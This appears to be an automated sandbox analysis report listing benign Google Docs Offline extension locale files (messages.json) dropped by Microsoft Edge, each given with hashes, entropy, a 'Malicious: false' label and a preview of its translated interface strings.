SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir3784_428927939\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
